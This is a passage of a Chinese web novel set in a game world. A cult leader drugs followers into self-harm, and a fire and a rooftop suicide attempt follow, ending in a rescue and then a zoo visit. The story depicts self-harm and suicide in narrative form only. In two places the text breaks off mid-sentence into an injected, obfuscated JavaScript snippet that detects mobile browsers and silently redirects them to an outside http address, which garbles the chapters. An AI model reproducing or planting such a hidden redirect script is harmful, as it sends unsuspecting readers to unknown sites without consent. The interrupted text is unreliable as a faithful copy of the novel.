“既然跑不掉，那就试着享受吧。”唯月倒是语气轻松，没有多少紧张感，可能他已经接受了逃不掉的现实。 “会不会把我们捉起来做手术，大卸八块啊！”罗小星悲戚起来。 “你们醒的时间要比我预计得早很多。”围在我们面前的白手套们自动地避让出一个通道，那个领导者的身影从中出现了。 “这是你们的不幸。”仇师傅看着我们摇了摇头，“要怪就怪你们自己吧。” “你要把我们怎么样？原来你是一个邪教头子！根本不是什么保安！”罗小星试图挣脱白手套对他的束缚，但并不奏效，他抬眼一看，抓着他肩膀的人正是那位胖保安后更是怒不可遏，“还有你！你们全是骗子，没有一句真话，亏我们还给你们捐款，哪里有什么病人，那都是你们串通好来骗我们的！大骗子！” “骗？”仇师傅嘴角翘起来，语调中满是戏谑，他冷笑一声。 “我们说的每一句话，甚至每一个字，都是真的，你可不要把我和那些格子间里的垃圾混为一谈。他们才是真的骗子，而像他们这样的骗子才是真的数不胜数，而且一直都在为祸人间，还逍遥法外！” “你们明明都一样！你为什么把我们抓起来，还让这些无辜的人朝自己挥刀，你有什么目的？还不是为了骗钱！还有这些混蛋烟雾，让人没有力气，这都是你弄出来的，你根本不是好人！” 罗小星的话提醒了我，我看向那些信众，他们已经停下了自残的行为，齐刷刷地面朝神鸟的方向，眼睛虽然睁着，但对周遭的一切不闻不问。 “我不是说过了吗？我们是在治病啊。”仇师傅双手摊开，一脸无辜。 “治病有医生，你这里又不是医院！” “哈哈哈……你越说越好笑了，真是小孩子话。你以为谁都有资格在医院治病吗？你以为什么病都治得起吗？那些没钱治病的人难道就都该死吗？” 仇师傅向前走了一步，离我们更近了，他一脸严肃，盯着我们，眼睛一点也不眨。 “我告诉你们，我没有骗任何人。这些信徒都是因为相信我，才奉我若神明。只有我！才能给他们安慰！只有我！才能给他们希望！不然他们只有等死。死的或者是他们的亲人，更可能是他们自己。医生无法治愈他们，病人获得的只有冷漠、敷衍，以及打着专业旗号的言辞凿凿的欺骗。即便有的人用他们那点儿可怜的工资乞求到一点点治疗的机会，你以为他们能够得到什么？是真正的治疗吗？在那些道德败坏的医生眼中，这些无助的病人就是这个世界上最容易得到的摇钱树！ “病人在暗无天日的病房里感觉不到时间的流逝，他们只能收获无尽的痛苦。打针打针打针，手术手术手术，丧尽家财，到头来却是一场空。而只有我，才能看到他们千疮百孔的灵魂，我能懂得他们的恐惧，接纳他们对治愈的渴望，我可以鼓励他们，我还可以让他们摆脱痛苦！而他们，只要付出一点点不值一提的金钱代价，就能重返健康。他们难道想不付出任何努力，就摆脱让人身心俱灭的不治之症吗？比起那些贪得无厌的庸医，我才是在做好事，天大的好事。 “至于他们对自己的伤害……”仇师傅停顿了一下，他举起手掀起衣服，露出自己手臂上的疤痕，他的眼神好似穿过疤痕落在了很遥远的地方，“我对他们已经足够仁慈，他们没有像我这样感受过真正钻心的痛楚，只有尝尽苦楚的人才能召唤神鸟，而神鸟会护佑她的信徒。对于凡人来说，只有痛苦才能让他们意识到自己的存在，而那些跟随我的人，终会学会脱离俗世的束缚，只要再向前一步，□□的禁锢也会解除…… “我给过你们机会，但是你们偏偏要醒过来，闯入神圣的领地，亵渎高贵的信仰，愚蠢而傲慢的人根本不能理解神迹。”仇师傅说完，突然把目光对准我们几个人，神情严肃，“这是你们自己选的命运，没有疾病，就没有净化。没有经历过彻骨绝望的人，没有资格看到这一切。忘记吧。” 仇师傅向按着我们肩膀的几个白手套示意，白手套们马上压着我们的身体，试图让我们匍匐在地面上。 此时的我们是毫无反击之力的，而正在这个时候，我身上的手机忽然响起。 仇师傅马上看向我，他们根本不容许我自己掏出手机，手机很快被白手套拿走递到了仇师傅的面前。仇师傅瞥了一眼，瞬间变了脸色，“你们什么时候报的警？” 难道是因为之前举报了那个诈骗公司，所以收到的这个电话？我内心猜测着，但拿不到手机，我也无法确 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“果然好用！”我的行动能力马上得到了恢复，还好我作为一个竞技水平极差的手笨星人在游戏的世界里收集了大量的药品，这次参加特典前我特意装备了不少，我马上翻出了其他几瓶药剂扔给了镜舟他们，顺便接着使用“千斤压顶”大法用身体的力量牵制周围的白手套，虽然效果不太明显，但是拖延的时间也足够了。 “把药吃了，可以恢复力量！这烟雾有问题，也许是什么有毒气体，我们得想办法把窗户打开，让新鲜空气进来！” 白手套意识到我们的反抗之后尝试再次控制我们，可是这次他们不会得逞，我们队伍的行动力已经全员恢复。 “太好了！思婷姐姐最棒！你们这些坏蛋，我不会让你们再害人了。”罗小星一下子精神起来，第一个往最近的窗户位置冲去。 “我们分散开来找窗户！”他们现在不容易抓住我们，我想只要分散他们的力量，就能让我们有机会率先打开一个窗户，而只要一扇窗户打开，我就能证实刚才的猜想，看看驱散烟雾到底对改变眼下这种被动挨打的状态有没有效果！ 罗小星第一个成功，他掀开窗帘，双手伸出大力拉开一扇窗户，胶片冲洗室一样的大厅瞬间被撕开了一个缺口，镜舟紧随其后，又有一扇窗户被打开。窗帘的帷幔在以肉眼可见的明显幅度晃动，我能感觉有风灌进来，室内的烟雾也受到了风的扰动，一点点开始消散，而此时，我迫不及待地看向那些如同陷入沉重梦境一般的人。 “一定要抓住他们！一个也不能放过，不然我们全都要遭殃！”仇师傅愤怒的声音传了过来。 我无暇顾及他说的这些话，我紧盯着站在最后一排的信众，有三四个人缓缓转身望向我们，脸上逐渐露出了痛苦的表情。 成功了！就是这样。 28. 第 28 章 我也顿时充满了干劲，使尽浑身解数向着身边最近的窗户奔去。 大厅内的场面一度变得混乱开来，白手套紧紧盯着我们，老鹰捉小鸡一样想把我们重新控制住，而恢复行动力的我们哪有那么容易再次束手就擒。我们四个人这次目标非常一致，誓要把所有的窗户都打开，让空气中那令人变得无力而疯狂的烟雾统统散尽。 渐次苏醒过来的信众们终于意识到之前拿着刀刃对自己做了什么，他们感受到了刀伤产生的迟来的痛苦，有的人发出呻吟，有的人对着自己皮肤上的伤口震惊不已，红色的血液已经干涸，残存在伤口周围，堵住了即将再次失去的血液。 他们的精神或许曾经陷入了持久的麻痹中，而血液中的细胞却没有忘记完成自己的使命。即便大脑发出了错误的指令，朝自己挥刀的正是自己的双手，细胞也不能放弃自己，它们还是要阻止血液的进一步流失，守卫伤口，修复受损的组织，为细胞的再生输送必要的营养。结痂、抚平、成疤，日复一日地守候机体的平安。 “使者！为什么会这样？你说过的，神鸟不会带来痛苦，为什么会这样，我的身体已经很虚弱了，这样的伤口会要了我的命，我好疼啊……”有的信众在寻找着仇师傅的身影，随着他的□□伤痛一同而来的还有心中生发的更多的困惑，也许，怒气也在他的心中悄悄滋生。 “我已经按照您的教导践行了，我孩子的病会好起来吗？他一定会好起来的，对吗使者？”还有的信众仍旧对仇师傅抱持相信的态度，疼痛并没有让她放弃偏激的信仰，或者，可能对于她来说，信仰早已经和希望捆绑，而她不能失去任何微小的希望。 “他是骗子！不要相信他！”罗小星也注意到了信众的变化，仇师傅看着罗小星，怒不可遏。 他疯了一样冲向罗小星，罗小星灵敏地跳到窗台上，“你给我下来！” 仇师傅奋力伸出双手，向前探出身体，想要绕过长桌把罗小星从窗台上拽下来，罗小星见状，一个闪身又从窗台上一跃而下，仇师傅扑了个空，愤怒更盛。他的双手顺势揪着厚重的窗帘，一把扯下，仇师傅大口喘着气，仿佛只有这样不管不顾地宣泄，才能让自己暴怒的情绪减少几分。 窗帘落了下来，带翻了长桌上密密麻麻的红色蜡烛，我心中顿时有一种不祥的预感，想要冲过去把窗帘掀开。 窗外的风忽然间大了起来，有疾风呼啸的声音，我本怀着侥幸的心理，奢望这厚重的窗帘能把燃烧的蜡烛尽数扑灭，然而火焰早已经顺着窗帘边缘处垂下的穗子，借助风势迅速地蔓延开来。 “哈哈哈哈……”仇师傅突然爆发出了一阵诡异的笑声，“是神鸟降下的惩罚！你们这些罪人！清醒只会带来痛苦和灾难，凡人怎么可能承受得了清醒的代价！”他双眼注视着火焰，发出兴奋的光芒。 “哎呀糟了，灭火器呢？这里有没有灭火器啊？”罗小星也慌了神，大声呼叫。 “没有！”唯月马上应和，眉毛一挑，“这里是邪教聚众场所，谁会设计灭火器出来。” “先别急着否认啊，倒是找找看呀，唯月，我这里可是起火了啊！很危险的！” 胖保安急切地走到仇师傅的身旁，“入口处有警察过来了！” “哼……我知道了。”仇师傅略一沉吟，点了点头，“不要和他们浪费时间了，你们赶紧离开这里。” 所有的白手套都停止了对我们的追逐，望向仇师傅，眼中充满着迟疑，没有人按照指令迈出脚步。 “还愣着干什么？我会处理好一切的，你们不要暴露自己的身份，来日方长，要不然所有的努力都会白费！所有的证据我都会销毁的，这里发生过的任何事情和你们都没有关系，只有这一个办法可以让我们得以保全，如果我被抓住了，你们也还有机会！记住了！什么都不要说。” 白手套们点了点头，陆续朝幕布后方撤离。 “我留在这里，帮你的忙。”胖保安却并没有离开，还是恳切地看着仇师傅。 “你能帮我什么忙？快走吧，不要添麻烦。快走！”仇师傅声色俱厉地对胖保安吼道，他迅速地往后退，也朝出口方向奔去。 “使者！使者！您别走……您帮帮我们……”强烈的无助和慌乱情绪在信众们之间播散开来，火光也映照着他们的面庞，炙烤着他们焦急万分的心灵，使他们痛上加痛，他们也想逃离火场，也许是因为烟雾还没有完全消失殆尽，也许是他们中毒太深，他们移动的能力还是颇为迟缓，有的人因为伤痛和恐惧，已经跪坐在地，开始低声悲鸣起来。 “现在不是哭的时候。”我越看越着急，始作俑者已经果断地离开了犯罪现场，他们放弃了曾经报以他们巨大信仰的民众，让他们自生自灭。他们剥夺了他们的思考能力，还剥夺了他们的行动能力。而被损害的人唯一可做的竟然只剩下哭嚎。 “没有灭火器啊！怎么办怎么办？火势越来越大了，我要把窗户再关上吗？”巨大的火光面前，罗小星也多少有些无助了起来。 “别慌。关窗户恐怕也于事无补，这大火不是我们能灭得了的，先让大厅里的人全部离开这里才是正事。我一把掏出背包里的所有药品，一股脑地扔在地上。 “罗小星，别愣着了，帮我把药分给所有人，说不定也能恢复他们的力量。得让所有人都离开这里，不能让大家都被烧死在这儿。” “噢……噢好的，我现在就过来。”罗小星马上跑过来捡起地上的药品，“喂喂！你要干什么？放开地上的东西！”他一把抓住胖保安的手，惊讶着叫道。 “我帮你们一起。”胖保安低着头，“这样可能会更快一些，能救更多的人。” “你少猫哭 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其实大厅的位置基本与天台齐平，我们走了几步台阶就看到了被打开的闸门。透过这道门，我们依稀看到了仇师傅的背影，他站在天台的边缘。 刚走出门口的时候，我就看到门前的一片空地上处处都是被砸碎的试剂瓶，上面标注着各种没见过的文字，有的像是安瓶，还有的塑料袋子上贴着标签，让我想起在医院打点滴时护士挂起来的输液袋。 我们避开满地的碎片，往仇师傅所在的位置走去，他正在点燃好似档案文件一样的几摞白纸，燃烧着的纸张发出光亮，映照着他的脸，在他脚边不远的地方已经有被焚烧过后的灰烬。 “站住。”他看着我们走来，缓慢地将身体靠近天台的栏杆，一只脚已经迈了过去。 “不要跳！”镜舟急呼，他往前跨出一步，双手探向前方，像要拦住什么。 “退后！”仇师傅大喊。 我连忙拽住了镜舟，“不要激怒他，我们退后，镜舟。”我看着镜舟，他眼中的急切是那么强烈，像饱含着拯救的热望，看得我有些揪心，我安抚他，一边拍着他的手臂，一边冲他摇头，希望他能冷静下来。 仇师傅目光落在那些正在燃烧的纸张上，时间仿佛静止一样，唯有火焰在舞蹈，昭示着分秒的流逝。 直到盯着它们成为灰烬，他才把视线移开。 他看向高楼之下的城市。此时，我们同时站在１１１大厦的天台之上，这个城市已经在我们眼中一览无余，夕阳血红，晚霞遮天。南城的傍晚太漫长了。 “比我想象得要早，我知道迟早会有这一天，但没想到这么快就结束了。”此时此地，仇师傅的语气保持着平静，似乎焚毁、摔碎掉这些他口中的证据，已经耗光了他所有的力气。 29. 第 29 章 “别人也许欺骗过你，但你不该反过来再欺骗别人，这样一来，你和那些你深恶痛绝的人又有什么区别呢。你当过受害者，难道你不知道那种滋味吗？”我不明白仇师傅为什么要去伤害这些已经被疾病折磨得千疮百孔的人。 “骗？我没有骗人，他们都是自愿的。如果真的要说骗，那也是因为他们的愚蠢。和我有什么关系？不骗他们，我又能骗谁？你知不知道，那些有钱人、健康的人，有多冷漠，有多狡猾，让他们拿出一分钱，比割了他们的肉还要让他们难受。我求过他们，苦苦地跪下来哀求，可谁又会愿意睁眼看看我，谁会在意一个穷鬼的死活。 “我的母亲，一辈子本本分分活着，没有骗过任何人，在疾病面前花光了自己省吃俭用的每一分钱，最后连手术的机会都没有，不让她手术，她就会死。我能眼见着她死去吗？她多么想活，我多么想挣到足够的钱给她治病，可是我呢，我没有那个本事……有的人在高楼大厦的顶端呼风唤雨，真正的骗子永远在逍遥法外，他们才是破坏这个世界的真凶，我当然想毁掉他们，让他们不得好活！可是，我没有那种力量……” 仇师傅眼神飘忽，这些话与其说是在讲给我们听，不如说是在向他自己倾诉，他的内心不可能从来没有过挣扎。 罗小星和唯月此时也登上了天台，悄悄地站在我们旁边，“我们都处理好了，这里又是怎么个情况？” 眼见着现场这样的架式，罗小星自然也感受到了不同寻常的气氛，他必然是看到了站在大厦高处边缘意欲轻生的仇师傅，一时没反应过来在这么短的时间内究竟发生了什么事，但即便如此，罗小星的语气却也放得很轻。我们都默契地不想激怒这个人。 我无暇回答罗小星的提问，罗小星安静地看着前方，他贴近我身旁又耳语了几句。 “我伤害自己的时候，没有任何人在意，我有能力伤害别人的时候，你们又义愤填膺。我可以承认我的罪，但有罪的人也绝对不只我一个。这个世界到底在鼓励什么？软弱的人一直被欺负，受害者一直都是受害者。 “我已经三十六岁了。没有结婚，没有孩子，只有一位因疾病而更加无力的的母亲。我的母亲已经老了，她没有力气再自力更生。这个社会觉得我也老了，可我心里从来都不这样认为。世界多大啊，我还没有好好看过。 “每个人都是一样的开端，生于医院，长于学校，困于工作。我努力学习过，也考上了好的学校，毕业的时候我踌躇满志，我以为工作赚钱和在学校上课考试一样，虽然辛苦甚至有些乏味，但坚持到期末总能拿到还不错的成绩。我对第一不感兴趣，中间状态就足够了。 “我并不是没有受到过挫折，可现在看来找工作和后面的生活比起来已经是最为容易的部分了。只有工作后才知道，假期会变成极为奢侈的事，真累啊。生活日复一日，看不到头，我渴望财富名利，只有金钱和地位，才能提振我的信心。我要在这个城市里有一座属于我的房子，我要凭借我的努力，我的勤奋和头脑，让妈妈成为南城人。我的要求高吗？既然那么多人都能在这座城市里立足，即便那些阴险狡诈的人都能活得风生水起，那又为什么不能多我一个？可是打工挣钱实在太慢了，我不满足于自己那点微薄的存款，我觉得有一座山压在我的头顶，我不满足。 “疾病，真是奇怪的东西，我的想法从母亲生病后发生了一百八十度的大转弯，我想只要家人健康，我之前追求的一切都可以不要。但是，过去的种种都被收走了。 “我想尽一切办法筹钱，越焦急越愚蠢，不管你过得多惨，都会有人再踩你一脚，甚至正因为你惨，他们更要加倍地搜刮你的一切。一切都变得更加混乱。 “我焦头烂额。我只能狠狠抓紧我的工作，如果连工作也没有了，我能怎么办。我已经因为贪婪损失了多年的积蓄，我想我错了，我甘愿当一个普通人，南城的房子不重要了，只要妈的病能好。我不再有任何非份之想，我好好工作，我不怕累，我甘愿平凡，甚或平庸。 “可是当我做好准备低头往前走的时候，公司开始裁员。经理找我谈话，我不敢流露出任何不快的情绪，我说只要给我机会，我一定好好珍惜。 “哪里有什么机会，他们早就定好了。新的年轻人会取代我，他们比我更有活力，更便宜。经理说，他相信我会有更好的未来。 “哼，他口中说着相信，可是他的眼神说的却是他的心里话。 “他早就看穿了像我这样的人，一辈子都是被人捏在手里的蚂蚁，眼高手低。就算别人踩着我的头顶，我又能怎么样？ “你只有冷酷无情，放弃一切幻想，才能重获机会。 “这是我站在窗口前终于明白的。那些狞笑着的看笑话的人，多么想要看我跳下去。像一团腐肉，嘭的一声落地，这样他们茶余饭后可以多一条有趣的谈资。 “我成了别人口中的废物，我的死只是证明了他们的正确。我就是要报复，正因为我绝望过，我要让别人也尝尝这种滋味。什么好人坏人，那都是小孩子的说法。” “你为什么要告诉我们那家公司是假的？”我问道。 仇师傅一愣，“是吗，我说过吗？”他转过身去不再看向我们。 “白手套里有保安，也有医生护士对不对？他们不全是病人对吗？你们用于麻痹人知觉的药品都是从哪里来的？白手套们都离开了，剩下你一个人，他们难道不是一样不在乎你的死活吗？”我连忙追问，我真怕他全无眷恋地落下去。 “你想知道什么，有，或者没有，又能怎么样。我也不过是同样的一名白手套罢了。有人给了我这个世界上最可贵的机会，我两手空空，只能拿这条命报答了。我说得已经太多了。像你这种人怎么可能会明白？我什么都不会告诉你的。” “不，我也明白一些的，我的亲人也得过重病，我也是独生子女，我尝过那种陪着亲人在医院里等待诊断和治疗的无助滋味。早晨夜班护士交班前会进病房抽血，一管又一管……我越来越不敢看，这些有创的检查怎么也做不完……可是我不敢表现出一点点的脆弱，如果连我也害怕了，那病人要怎么办，明明他们才是更难过的人。” 我一边说着，一边想着刚才罗小星告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712084|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的话：警察已经到达，信众们都得到了照护和疏散，火势很快就会被控制住的。 我看到有两位身材精壮的年轻消防员从天台的一侧绕过来，借着栏杆下的水泥台作掩护，匍匐着靠近仇师傅所在的位置，他们身后绑着安全绳，目光专注，神色凝重。 我要给他们创造机会，拖延住仇师傅，不让他再次做出让自己后悔万分的决定。 “总有人需要我们的！为什么要把多余的目光放在记恨上呢，我们只要照顾好我们在意、也在意我们的人就好啊！不可能所有人都让我们满意，我们不是为了恶意而活的不是吗？你的妈妈不是才做完手术的吗？也许手术之后她就会好转起来，她需要你啊！”我想我只能尽力抓住仇师傅最在意的人和事来劝告他了，即便他对这个世界充斥着不满和愤怒，但只要在他的内心深处还残存有一丝的温暖，他就有可能不会逃避和放弃。 “真是奇怪的人啊，你们说我是罪人，难道不就是想看到我罪有应得吗，明明上一秒还恨不得杀我而后快，怎么现在又惺惺作态地阻止起我来了？就像你们那些惺惺作态的捐款一样，要通过施舍出那些令你们不痛不痒的金钱满足你们的优越感吗？俯视受苦的人，能提醒你们平庸的一生还有保底的幸运吗？如果我不走到今天这一步，哪里来的做手术的钱，我的母亲还没等到做手术就死了。我不后悔。“ “讨厌你归讨厌你，可我们从来没有想过要你死掉啊！你为什么要这么想！”罗小星大声地呼喊出来。 “我们没有资格审判你，你带来的伤害和破坏是法律需要度量的事情！我们没办法看到事情的全部，但是我们必须阻止新的伤害发生。你不能逃避你做过的事情，肩负起你的责任！就像你不放弃你病重的母亲一样。” “法律？如果学校不可信，医院不可信，法官们就可信吗？我不会让我余生都失去自由的。而我也没有别的选择。” “小仇，回来吧！阿姨还在等着你！其他人都被救走了，火很快就会被扑灭，没有到无法挽回的地步，你不要再做傻事啊！”我才注意到和罗小星他们一起赶来的还有胖保安。 仇师傅仰着头，静默着，我看不清他此时是闭着眼还是在注视着苍穹。 站在南城最高的大厦之巅，看到的天空会不会更澄净。可惜夕阳终究还是落下了，晚霞的光辉已经逝去，变成了紫檀色的流云。 “也许我该说声谢谢，谢谢你们听我讲述完了这冗长而又多余的一生。我平生缺乏勇气，此时此刻，能背负着挽留结束生命，已经很好了。”仇师傅身形一动，准备把另一条腿也迈过栏杆。他的上身已经向下倾斜，整个人很快就要坠下去。 “不要！”镜舟的声音饱含悲苦，所有的人都呼吸一窒。 说时迟那时快，正在这千钧一发之际，一位消防员死命地抱住仇师傅即将迈过栏杆的左腿，另一位消防员先是拽住仇师傅的手，紧接着往后一拉拽住仇师傅的上身，两个人以迅雷不及掩耳之势将仇师傅快速拖离危险区域。更多的警察和消防员冲上前，这场对峙终于结束了。 系统提示：任务完成。 30. 第 30 章 “仇师傅一共犯了哪些罪呢？他害死过人吗？今天遇到的事情太多了，我脑袋好乱啊。你们相信他说的话吗？”罗小星茫然发问，“变成大人后的日子真麻烦，长大后的生活都是这样吗，还是当一个小孩子最好。今天过得好累好累啊，什么是好人，什么是坏人，这真的让我很困惑。 “其实我一开始来到大厦的时候是有一点瞧不起仇师傅的，听到他的经历又觉得可怜，看他带着那些人做诡异的事情又觉得愤怒，可是站在天台上听到他说的话，心里又不是个滋味。没有原谅，但又感觉奇奇怪怪的。” “你能困惑，说明这一关的用意已经达到了。”唯月语气淡淡地说，“人总是把事情往自己有利的一方面描述，真真假假的。他是一个混乱的人，做不得好事，也没办法不带一丝怀疑地去做坏事，就是这样的人才会纠结，真要是什么都想通了，一不做二不休，也不会有那么多的话要说了。” “唯月，你有过无助绝望的时候吗？” “当然没有。” 罗小星惊讶地瞪着唯月，“就那么顺风顺水吗？” 唯月莞尔：“谁的人生能够一帆风顺，我只是懒得说罢了，说了也不过就是抒发下情绪，可情绪没人接着不是也很惨吗。告诉你吧，我也有被人狠狠拒之于门外的时候，那时候的心情也是百爪挠心，惨上加惨，越是高傲的人，越是无法承受一丁点的耻辱，还能怎么办，咬牙熬下去呗，只要活着，总有洗刷耻辱的那一天，或者换一种角度看，这些令人恶心至极的人和事存在的目的，就是要给我们一个咸鱼翻身的理由。我的回答你满意了吧。” “满意了满意了。”罗小星拍了拍胸口，“难得唯月你坦诚相待呢。” “你的话又何尝不是把事情向自己有利的一方面描述。”唯月冷冷地说。 我和罗小星连忙对视了一眼，都感觉空气中的气氛有点不对劲。 “哈哈～”唯月笑了笑，自嘲道：“我有吗？有的话也是人之常情。只能说明我是个正常的人类而已。跳不跳下去是个人的选择，我们谁也没有去推一把。有什么好内疚的。” “你知道我说的是什么。” “我不知道。” “唯月，镜舟，你们两人要不就不说话，要不就有点剑拔弩张的意思呢，难道是一山不容二虎吗，搞得好像有什么宿怨似的。”我连忙岔开话题，“对了，我的背包里出现了朱雀玉佩，看来这次朱雀石也能解除封印了。 “真的吗真的吗？”我刚拿出玉佩，罗小星就赶紧凑过来看。 “好棒啊，这次又拿到了奖励，每次的筛选标准是什么呢，我什么时候也可以像镜舟大哥和思婷姐一样得到一块玉佩啊。不知道这次朱雀玉佩有什么神奇的作用呢？”罗小星抚摸着玉佩上细腻的纹路感叹道。 “暂时不知道啊，还没有使用的选项。小星你也不要着急，我倒是觉得这次是故意给会治疗术的人开的特别通道，并不是单纯看表现的，以后可以发挥的机会多得是。” 警察们已经撤离，我们走到仇师傅之前站过的地方，我低头看见了一个空空的药瓶，细看之下瓶底扔残留几滴液体，也许仍是有麻醉作用的药剂吧。镜舟也观察到了地上的东西，他带着疑问的目光瞅了瞅我。我摇了摇头，轻叹。 脑海中想起仇师傅的话，我又何尝不是一个缺乏勇气的人呢，谁又会不畏惧疼痛呢。我的治疗术只能解除梦魇状态，而被药品控制的身体，还是需要对应的药品才能治愈，冥想是没有用的。 “好黑啊，突然想起来，这一区域没有任何奇幻的地方诶。”我们都站在高处，罗小星边说边往那些城市的建筑物望去。 “因为现实生活就是这样。”唯月张开双臂迎着夜风。 “只有祈祷科技进步了。”我双手合十，给队伍里的每个人加了个清神明智状态，祈祷科技的力量能被掌握在懂得合理利用它的人手中。 城市的灯光刹那间亮起，霓虹闪烁，好一个流光溢彩的不夜城，远处的大桥横跨海湾，被缤纷的灯火装点着。 一个传送区域在天台上浮现，我们四个人动身前往下一个旅行地。 第五天，按照离线前的约定，我们在朱雀石前集合，罗小星迟到了，我倒是不怎么介意，唯月却毫不犹豫地表达他的不满。 “组队的时候是怎么说的你忘了啊罗小星，有没有一点时间观念，你这耽误的是大家的时间……” “别骂了别骂了，我错了还不行吗，我也不想的，昨天真的好累，玩到很晚，今天白天好好休息了会儿我才缓过来呢，能上线就已经很不容易了。原来，人生太丰富了也不是每个人都承受得起啊。”罗小星打了一个大大的哈欠，他开了真人表情实时反馈功能，看着他猫脸上的哈欠，我觉得既可爱又滑稽。 我按照上次所见，依样画葫芦地用玉佩唤醒了朱雀石，火红色的巨鸟在朱雀石上舞动，曾经那么多人心心念念的神鸟我们今天终于得见。 新的门打开，我们走进去后发现前方是一道道闸机，就是地铁进站的时候见到的东西。 我们只要按照闸机口的提示扫一下指纹就获准进入。然而这闸机到底还是和地铁站里的不同，它是被安放在山脚下的，我们过了闸机往前走了几步，抬头一望，在用水泥和颜料仿制而成的参天古木门脸顶端，横挂着一行醒目的五个大字：西山动物园。 “啥！这次要在游戏里逛动物园！”罗小星摸了摸后脑勺，“我打赌，这肯定不是一座普通的动物园！兄弟萌，我们出发吧！” 罗小星蹦蹦跳跳地第一个走了进去，和我们一起逛动物园的路人甲也不少，只是放眼看过去，都是ＮＰＣ似的面孔，不过也足以以假乱真烘托气氛了。 动物园的入口在山脚下，从闸机进去后，我们其实就是在爬山，但比通常意义上的爬山要有趣得多了。园内安排了不同的动物场馆，道路干净整洁，有供游人行走的步道，还有为了缓解步行劳累、同时为行动不便人士提供帮助的摆渡车。 进门之后，我是抱着休闲的心情，东看看西看看。很久没去动物园了，大概是在校期间学校组织过秋游的活动，记忆中也就去过一两次吧，对于看过的动物印象已经很模糊了，只记得当时天真烂漫的气氛，觉得天都蓝得特别可爱。 罗小星兴致比我高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712085|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了，站在动物园的导览立牌上，仔仔细细地看着地图。 “这里可以看金丝猴，那里可以看大象，这边有大熊猫，那边有黄金蟒。还有金钱豹、大猩猩、火烈鸟，长颈鹿……哇哦，太多啦，到底先要看哪一个好！” “这么喜欢的吗？你替我们安排路线得了罗小星，当我们的导游，也省得我们费神了。”唯月笑了笑，语调轻快。 “动物园不是那么容易就有机会去的呀，当然要开开心心地玩。说好了啊，我当导游哈！放心吧各位哥哥姐姐们，我一定会把此次旅行安排得妥妥的，让大家好好放松放松。好啦，各位，前往西山动物园的各位游客们注意啦，现在出发！” 不用做任务，不用呆在阴森恐怖的地方刷副本的当下，的确适合放松，绿萝也跑出来，和我们一起享受这难得的散心机会。 “哎呦喂，这是什么动物，长得好奇怪，嘴巴这么长……”走到萌宠乐园的时候，罗小星嗖的一下窜出去，围观动物去了。 “食——蚁——兽。”罗小星读着圈养区域张贴的科普指示牌念到。 “这辈子多做好事吧，广积功德，要不因果循环，下辈子变成食蚁兽！”唯月站在罗小星后面点评道。 “啊？真的假的？别吓我。”罗小星看着不紧不慢在干稻草间忙活来忙活去的食蚁兽，想了想，“真是那样的话也不错，我看这家伙很可爱的，虽然长得奇怪了点，转世当成它也不差。” 大熊猫的圈养区域是独立的，人流量很大，游客们都在玻璃窗外探头探脑地寻找大熊猫的踪影。果然是国宝级动物，待遇就是不一般，大熊猫活动空间很大，和食蚁兽的窝比起来，更像是个独立的后花园。有树有草，还有供其解闷的玩具。不过此时的大熊猫可没有心情和我们玩捉迷藏，罗小星找了半天才发现，大熊猫正横躺在木桩造型的长椅上思考人生呢，半晌也懒得动一下。 游客们纷纷绕到长椅正前方的观赏玻璃后面，一睹国宝的真容。 “大熊猫好胖乎啊，一定吃得很好。”罗小星羡慕地说。 看完了大熊猫，我们又来到了邻近的大象馆。相比慵懒的大熊猫，这些大象们就要活泼得多了。大象馆内原本是类似于露天马戏团的装潢布置，有扇形的观众座椅围着场地中央的舞台，好在现在已经没有动物表演了。 我对这样的表演本来就没有什么兴趣，为了获得观众的喝彩，让动物们穿着色彩鲜艳的衣服一遍一遍重复做些固定好的动作，不做动作就捞不着好吃的，那画面就像在看动物们上班。游客们来到动物园到底是想看到动物们本来的样子呢，还是单纯为了消遣找乐子，如果动物们能开口说话，表演的同时大呼“哦我的上帝，我实在太享受这个舞台啦！”那我倒是会狠命鼓掌支持这样的演出。 大象馆入口处有工作人员卖切好的胡萝卜，我拿出背包里的零钱买了好几袋，分给罗小星和镜舟，镜舟起初愣了一下，不过当我把成袋的胡萝卜递给他的时候，他不再犹豫地接了过去，我们三个人一起和大象互动去了。 我回身看了一眼，唯月只是坐在看台上，虽然没有参与进来，神态倒也悠闲。 31. 第 31 章 要说大象的鼻子是真的柔软，我眼见它极其优雅灵巧地就把切成条的胡萝卜卷走，我生平第一次意识到，能够看着这陆地上最大的动物吃东西，真的是好治愈的过程啊。 “来啊唯月，一起呀！喂大象吃东西可有意思了。”罗小星还是想把唯月拉拢过来。 “不去不去，没有你们那么强烈的投喂欲。在这一边看着你们，一边晒晒太阳也不错。” “哎呀！妈妈，我的帽子！”起风了，一个和我们一起投喂的小女孩帽子被风刮跑了，正好掉进了舞台中央。 舞台和观众席间有一人高的围栏相隔，一位大象眼疾鼻快，敏捷地把帽子卷了起来，还给了小女孩儿。 “啊啊，妈妈！大象帮我拣帽子啦！”小女孩欢呼起来，听声音就知道她开心极了。 “哇，大象好聪明啊！”罗小星羡慕地望着那个小女孩。 喂养的时间是有限制的，大概是怕不加节制地投喂会把大象撑坏。三个身穿工作服的饲养员，拿着铁锹，拉着推车，进场开始清理舞台。 所谓的清理舞台主要就是清理大象的粪便。 